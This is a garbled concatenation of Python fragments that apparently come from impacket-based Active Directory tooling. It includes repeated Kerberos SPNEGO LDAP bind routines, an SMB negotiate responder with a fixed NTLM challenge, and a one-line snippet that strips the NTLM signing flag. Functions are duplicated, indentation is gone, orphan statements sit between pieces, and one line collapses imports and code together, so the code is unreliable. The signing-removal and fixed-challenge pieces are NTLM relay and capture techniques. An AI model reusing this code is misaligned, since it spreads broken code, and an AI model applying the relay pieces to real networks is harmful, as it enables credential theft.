tgt = TGT['KDC_REP']
cipher = TGT['cipher']
sessionKey = TGT['sessionKey']
if TGS is None:
serverName = Principal(
'ldap/%s' % self.__target,
type=constants.PrincipalNameType.NT_SRV_INST.value)
tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS(
serverName, domain, kdcHost, tgt, cipher, sessionKey)
else:
tgs = TGS['KDC_REP']
cipher = TGS['cipher']
sessionKey = TGS['sessionKey']
# Let's build a NegTokenInit with a Kerberos REQ_AP
blob = SPNEGO_NegTokenInit()
# Kerberos
blob['MechTypes'] = [TypesMech['MS KRB5 - Microsoft Kerberos 5']]
# Let's extract the ticket from the TGS
tgs = decoder.decode(tgs, asn1Spec=TGS_REP())[0]
ticket = Ticket()
ticket.from_asn1(tgs['ticket'])
# Now let's build the AP_REQ
apReq = AP_REQ()
apReq['pvno'] = 5
apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value)
opts = []
apReq['ap-options'] = constants.encodeFlags(opts)
seq_set(apReq, 'ticket', ticket.to_asn1)
authenticator = Authenticator()
authenticator['authenticator-vno'] = 5
authenticator['crealm'] = domain
seq_set(authenticator, 'cname', userName.components_to_asn1)
now = datetime.datetime.utcnow()
authenticator['cusec'] = now.microsecond
authenticator['ctime'] = KerberosTime.to_asn1(now)
encodedAuthenticator = encoder.encode(authenticator)
# Key Usage 11
# AP-REQ Authenticator (includes application authenticator
# subkey), encrypted with the application session key
# (Section 5.5.1)
encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 11,
encodedAuthenticator,
None)
apReq['authenticator'] = noValue
apReq['authenticator']['etype'] = cipher.enctype
apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator
blob['MechToken'] = encoder.encode(apReq)
request = ldap3.operation.bind.bind_operation(connection.version,
ldap3.SASL, user, None,
'GSS-SPNEGO',
blob.getData())
# Done with the Kerberos saga, now let's get into LDAP
if connection.closed: # try to open connection if closed
connection.open(read_server_info=False)
connection.sasl_in_progress = True
response = connection.post_send_single_response(
connection.send('bindRequest', request, None))
connection.sasl_in_progress = False
if response[0]['result'] != 0:
raise Exception(response)
connection.bound = True
return True
def kerberosLogin(self,
user,
password,
domain='',
lmhash='',
nthash='',
aesKey='',
kdcHost=None,
TGT=None,
TGS=None,
useCache=True):
"""
logins into the target system explicitly using Kerberos. Hashes are used if RC4_HMAC is supported.
:param string user: username
:param string password: password for the user
:param string domain: domain where the account is valid for (required)
:param string lmhash: LMHASH used to authenticate using hashes (password is not used)
:param string nthash: NTHASH used to authenticate using hashes (password is not used)
:param string aesKey: aes256-cts-hmac-sha1-96 or aes128-cts-hmac-sha1-96 used for Kerberos authentication
:param string kdcHost: hostname or IP Address for the KDC. If None, the domain will be used (it needs to resolve tho)
:param struct TGT: If there's a TGT available, send the structure here and it will be used
:param struct TGS: same for TGS. See smb3.py for the format
:param bool useCache: whether or not we should use the ccache for credentials lookup. If TGT or TGS are specified this is False
:return: True, raises a LDAPSessionError if error.
"""
if lmhash != '' or nthash != '':
if len(lmhash) % 2: lmhash = '0%s' % lmhash
if len(nthash) % 2: nthash = '0%s' % nthash
try: # just in case they were converted already
lmhash = unhexlify(lmhash)
nthash = unhexlify(nthash)
except:
pass
# Importing down here so pyasn1 is not required if kerberos is not used.
from impacket.krb5.ccache import CCache
from impacket.krb5.asn1 import AP_REQ, Authenticator, TGS_REP, seq_set
from impacket.krb5.kerberosv5 import getKerberosTGT, getKerberosTGS
from impacket.krb5 import constants
from impacket.krb5.types import Principal, KerberosTime, Ticket
from pyasn1.codec.der import decoder, encoder
import datetime
if TGT is not None or TGS is not None:
useCache = False
if useCache is True:
try:
ccache = CCache.loadFile(os.getenv('KRB5CCNAME'))
except:
# No cache present
pass
else:
# retrieve user and domain information from CCache file if needed
if user == '' and len(ccache.principal.components) > 0:
user = ccache.principal.components[0]['data']
if domain == '':
domain = ccache.principal.realm['data']
LOG.debug("Using Kerberos Cache: %s" % os.getenv('KRB5CCNAME'))
principal = 'ldap/%s@%s' % (self._dstHost.upper(),
domain.upper())
creds = ccache.getCredential(principal)
if creds is None:
# Let's try for the TGT and go from there
principal = 'krbtgt/%s@%s' % (domain.upper(),
domain.upper())
creds = ccache.getCredential(principal)
if creds is not None:
TGT = creds.toTGT()
LOG.debug('Using TGT from cache')
else:
LOG.debug("No valid credentials found in cache. ")
else:
TGS = creds.toTGS()
LOG.debug('Using TGS from cache')
# First of all, we need to get a TGT for the user
userName = Principal(
user, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
if TGT is None:
if TGS is None:
tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(
userName, password, domain, lmhash, nthash, aesKey,
kdcHost)
else:
tgt = TGT['KDC_REP']
cipher = TGT['cipher']
sessionKey = TGT['sessionKey']
if TGS is None:
serverName = Principal(
'ldap/%s' % self._dstHost,
type=constants.PrincipalNameType.NT_SRV_INST.value)
tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS(
serverName, domain, kdcHost, tgt, cipher, sessionKey)
else:
tgs = TGS['KDC_REP']
cipher = TGS['cipher']
sessionKey = TGS['sessionKey']
# Let's build a NegTokenInit with a Kerberos REQ_AP
blob = SPNEGO_NegTokenInit()
# Kerberos
blob['MechTypes'] = [TypesMech['MS KRB5 - Microsoft Kerberos 5']]
# Let's extract the ticket from the TGS
tgs = decoder.decode(tgs, asn1Spec=TGS_REP())[0]
ticket = Ticket()
ticket.from_asn1(tgs['ticket'])
# Now let's build the AP_REQ
apReq = AP_REQ()
apReq['pvno'] = 5
apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value)
opts = list()
apReq['ap-options'] = constants.encodeFlags(opts)
seq_set(apReq, 'ticket', ticket.to_asn1)
authenticator = Authenticator()
authenticator['authenticator-vno'] = 5
authenticator['crealm'] = domain
seq_set(authenticator, 'cname', userName.components_to_asn1)
now = datetime.datetime.utcnow()
authenticator['cusec'] = now.microsecond
authenticator['ctime'] = KerberosTime.to_asn1(now)
encodedAuthenticator = encoder.encode(authenticator)
# Key Usage 11
# AP-REQ Authenticator (includes application authenticator
# subkey), encrypted with the application session key
# (Section 5.5.1)
encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 11,
encodedAuthenticator,
None)
apReq['authenticator'] = None
apReq['authenticator']['etype'] = cipher.enctype
apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator
blob['MechToken'] = encoder.encode(apReq)
# Done with the Kerberos saga, now let's get into LDAP
bindRequest = BindRequest()
bindRequest['version'] = Integer7Bit(3)
bindRequest['name'] = LDAPDN(user)
credentials = SaslCredentials()
credentials['mechanism'] = LDAPString('GSS-SPNEGO')
credentials['credentials'] = Credentials(blob.getData())
bindRequest['authentication'] = AuthenticationChoice(
).setComponentByName('sasl', credentials)
resp = self.sendReceive('bindRequest', bindRequest)[0]['protocolOp']
if resp['bindResponse']['resultCode'] != 0:
raise LDAPSessionError(
errorString='Error in bindRequest -> %s:%s' %
(resp['bindResponse']['resultCode'].prettyPrint(),
resp['bindResponse']['diagnosticMessage']))
return True
nthash = compute_nthash(password)
else:
raise
else:
raise
else:
break
else:
tgs = TGS['KDC_REP']
cipher = TGS['cipher']
sessionKey = TGS['sessionKey']
break
# Let's build a NegTokenInit with a Kerberos REQ_AP
blob = SPNEGO_NegTokenInit()
# Kerberos
blob['MechTypes'] = [TypesMech['MS KRB5 - Microsoft Kerberos 5']]
# Let's extract the ticket from the TGS
tgs = decoder.decode(tgs, asn1Spec = TGS_REP())[0]
ticket = Ticket()
ticket.from_asn1(tgs['ticket'])
# Now let's build the AP_REQ
apReq = AP_REQ()
apReq['pvno'] = 5
apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value)
opts = list()
# Our imports from impacket.smbconnection import * from impacket.ntlm import * from impacket.spnego import SPNEGO_NegTokenResp, SPNEGO_NegTokenInit, TypesMech # smb packet struct sessionSetup = SMB2SessionSetup() sessionSetup['Flags'] = 0 blob = SPNEGO_NegTokenInit() blob['MechTypes'] = [TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider']] # build our own hash1 hash1 = getNTLMSSPType1(signingRequired = True) hash1.dump() # string to hash1 structure for convenience h1 = NTLMAuthNegotiate() h1.fromString(str(hash1)) # test to see if our hash contains a flag # it will return True if it contains Flase if it does not False if (h1['flags'] & NTLMSSP_SIGN) == 0 else True # So lets remove the signing and sealing flags h1['flags'] &= 0xffffffff ^ NTLMSSP_SIGN # If we wanted to add it back in we could do h1['flags'] |= NTLMSSP_SIGN # formatting our hash1 structure: blob['MechToken'] = str(hash1) sessionSetup['SecurityBufferLength'] = len(blob) sessionSetup['Buffer'] = blob.getData()
def getNegoAnswer(self, recvPacket):
if self.isSMB2 is False:
smbCommand = SMBCommand(recvPacket['Data'][0])
respSMBCommand = SMBCommand(SMB.SMB_COM_NEGOTIATE)
resp = NewSMBPacket()
resp['Flags1'] = SMB.FLAGS1_REPLY
resp['Pid'] = recvPacket['Pid']
resp['Tid'] = recvPacket['Tid']
resp['Mid'] = recvPacket['Mid']
dialects = smbCommand['Data'].split('\x02')
index = dialects.index('NT LM 0.12\x00') - 1
# Let's fill the data for NTLM
if recvPacket['Flags2'] & SMB.FLAGS2_EXTENDED_SECURITY:
resp['Flags2'] = SMB.FLAGS2_EXTENDED_SECURITY | SMB.FLAGS2_NT_STATUS | SMB.FLAGS2_UNICODE
_dialects_data = SMBExtended_Security_Data()
_dialects_data['ServerGUID'] = 'A' * 16
blob = SPNEGO_NegTokenInit()
blob['MechTypes'] = [TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider']]
_dialects_data['SecurityBlob'] = blob.getData()
_dialects_parameters = SMBExtended_Security_Parameters()
_dialects_parameters[
'Capabilities'] = SMB.CAP_EXTENDED_SECURITY | SMB.CAP_USE_NT_ERRORS | SMB.CAP_NT_SMBS | SMB.CAP_UNICODE
_dialects_parameters['ChallengeLength'] = 0
else:
resp['Flags2'] = SMB.FLAGS2_NT_STATUS | SMB.FLAGS2_UNICODE
_dialects_parameters = SMBNTLMDialect_Parameters()
_dialects_data = SMBNTLMDialect_Data()
_dialects_data['Payload'] = ''
_dialects_data['Challenge'] = '\x11\x22\x33\x44\x55\x66\x77\x88'
_dialects_parameters['ChallengeLength'] = 8
_dialects_parameters['Capabilities'] = SMB.CAP_USE_NT_ERRORS | SMB.CAP_NT_SMBS
_dialects_parameters['Capabilities'] |= SMB.CAP_RPC_REMOTE_APIS
_dialects_parameters['DialectIndex'] = index
_dialects_parameters['SecurityMode'] = SMB.SECURITY_AUTH_ENCRYPTED | SMB.SECURITY_SHARE_USER
_dialects_parameters['MaxMpxCount'] = 1
_dialects_parameters['MaxNumberVcs'] = 1
_dialects_parameters['MaxBufferSize'] = 64000
_dialects_parameters['MaxRawSize'] = 65536
_dialects_parameters['SessionKey'] = 0
_dialects_parameters['LowDateTime'] = 0
_dialects_parameters['HighDateTime'] = 0
_dialects_parameters['ServerTimeZone'] = 0
respSMBCommand['Data'] = _dialects_data
respSMBCommand['Parameters'] = _dialects_parameters
resp.addCommand(respSMBCommand)
else:
resp= SMB2Packet()
resp['Flags'] = SMB2_FLAGS_SERVER_TO_REDIR
resp['Status'] = STATUS_SUCCESS
resp['CreditRequestResponse'] = 1
resp['CreditCharge'] = 1
resp['Command'] = SMB2_NEGOTIATE
resp['SessionID'] = 0
resp['MessageID'] = 0
resp['TreeID'] = 0
respSMBCommand = SMB2Negotiate_Response()
respSMBCommand['SecurityMode'] = 1
if isinstance(recvPacket, NewSMBPacket):
respSMBCommand['DialectRevision'] = SMB2_DIALECT_WILDCARD
else:
respSMBCommand['DialectRevision'] = self.serverDialect
resp['MessageID'] = 1
respSMBCommand['ServerGuid'] = ''.join([random.choice(string.letters) for _ in range(16)])
respSMBCommand['Capabilities'] = 0x7
respSMBCommand['MaxTransactSize'] = 65536
respSMBCommand['MaxReadSize'] = 65536
respSMBCommand['MaxWriteSize'] = 65536
respSMBCommand['SystemTime'] = getFileTime(calendar.timegm(time.gmtime()))
respSMBCommand['ServerStartTime'] = getFileTime(calendar.timegm(time.gmtime()))
respSMBCommand['SecurityBufferOffset'] = 0x80
blob = SPNEGO_NegTokenInit()
blob['MechTypes'] = [TypesMech['NEGOEX - SPNEGO Extended Negotiation Security Mechanism'],
TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider']]
respSMBCommand['Buffer'] = blob.getData()
respSMBCommand['SecurityBufferLength'] = len(respSMBCommand['Buffer'])
resp['Data'] = respSMBCommand
return resp
def ldap_kerberos(domain, kdc, tgt, username, ldapconnection, hostname):
# Hackery to authenticate with ldap3 using impacket Kerberos stack
# I originally wrote this for BloodHound.py, but it works fine (tm) here too
username = Principal(username,
type=constants.PrincipalNameType.NT_PRINCIPAL.value)
servername = Principal('ldap/%s' % hostname,
type=constants.PrincipalNameType.NT_SRV_INST.value)
tgs, cipher, _, sessionkey = getKerberosTGS(servername, domain, kdc,
tgt['KDC_REP'], tgt['cipher'],
tgt['sessionKey'])
# Let's build a NegTokenInit with a Kerberos AP_REQ
blob = SPNEGO_NegTokenInit()
# Kerberos
blob['MechTypes'] = [TypesMech['MS KRB5 - Microsoft Kerberos 5']]
# Let's extract the ticket from the TGS
tgs = decoder.decode(tgs, asn1Spec=TGS_REP())[0]
ticket = Ticket()
ticket.from_asn1(tgs['ticket'])
# Now let's build the AP_REQ
apReq = AP_REQ()
apReq['pvno'] = 5
apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value)
opts = []
apReq['ap-options'] = constants.encodeFlags(opts)
seq_set(apReq, 'ticket', ticket.to_asn1)
authenticator = Authenticator()
authenticator['authenticator-vno'] = 5
authenticator['crealm'] = domain
seq_set(authenticator, 'cname', username.components_to_asn1)
now = datetime.datetime.utcnow()
authenticator['cusec'] = now.microsecond
authenticator['ctime'] = KerberosTime.to_asn1(now)
encodedAuthenticator = encoder.encode(authenticator)
# Key Usage 11
# AP-REQ Authenticator (includes application authenticator
# subkey), encrypted with the application session key
# (Section 5.5.1)
encryptedEncodedAuthenticator = cipher.encrypt(sessionkey, 11,
encodedAuthenticator, None)
apReq['authenticator'] = noValue
apReq['authenticator']['etype'] = cipher.enctype
apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator
blob['MechToken'] = encoder.encode(apReq)
# From here back to ldap3
ldapconnection.open(read_server_info=False)
request = bind_operation(ldapconnection.version, SASL, None, None,
ldapconnection.sasl_mechanism, blob.getData())
response = ldapconnection.post_send_single_response(
ldapconnection.send('bindRequest', request, None))[0]
ldapconnection.result = response
if response['result'] == 0:
ldapconnection.bound = True
ldapconnection.refresh_server_info()
return response['result'] == 0
